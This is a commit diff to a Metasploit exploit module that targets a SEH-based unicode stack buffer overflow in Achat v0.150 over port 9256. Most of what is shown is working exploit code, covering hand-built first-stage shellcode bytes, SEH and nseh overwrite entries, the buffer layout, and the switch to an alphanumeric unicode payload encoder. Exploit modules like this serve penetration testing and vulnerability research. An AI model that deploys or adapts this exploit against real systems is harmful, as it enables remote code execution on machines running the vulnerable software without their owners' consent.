Skip to content

Commit ac6879c

Browse files
committed
proper payload encoding from now on
1 parent c7880ab commit ac6879c

File tree

1 file changed

+5
-6
lines changed

1 file changed

+5
-6
lines changed

modules/exploits/windows/misc/achat_beta.rb

Lines changed: 5 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'Achat Beta v0.150 Buffer Overflow',
16+
'Name' => 'Achat v0.150 beta7 Buffer Overflow',
1717
'Description' => %q{
1818
This module exploits a SEH based unicode stack buffer overflow in Achat v0.150,
1919
by sending a crafted message to the default harcoded port 9256. The message
@@ -38,9 +38,11 @@ def initialize(info = {})
3838
},
3939
'Payload' =>
4040
{
41+
'DisableNops' => true,
4142
'Space' => 730,
42-
# 'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
43+
'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
4344
'StackAdjustment' => -3500,
45+
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
4446
'EncoderOptions' =>
4547
{
4648
'BufferRegister' => 'EAX',
@@ -84,9 +86,6 @@ def exploit
8486
# 59 POP ECX # padding
8587
# 0039 ADD BYTE PTR DS:[ECX],BH # padding
8688
firststage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
87-
encoder = framework.encoders.create('x86/unicode_mixed')
88-
encoder.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
89-
payloadencoded = encoder.encode(payload.raw, nil, nil, platform)
9089

9190
sploit = "A0000000002#Main" + "\x00" + "Z"*114688 + "\x00" + "A"*10 + "\x00"
9291
sploit << "A0000000002#Main" + "\x00" + "A"*57288 + "AAAAASI"*50 + "A"*(3750-46)
@@ -117,7 +116,7 @@ def exploit
117116
sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + "C"*9 + "\x60\x43"
118117
sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread
119118
sploit << "\x2A" + firststage + "C"*(157-firststage.length-31-3) # put address of the payload to EAX
120-
sploit << payloadencoded + "A"*(1152-payloadencoded.length) # placing the payload
119+
sploit << payload.encoded + "A"*(1152-payload.encoded.length) # placing the payload
121120
sploit << "\x00" + "A"*10 + "\x00"
122121

123122

0 commit comments

Comments
 (0)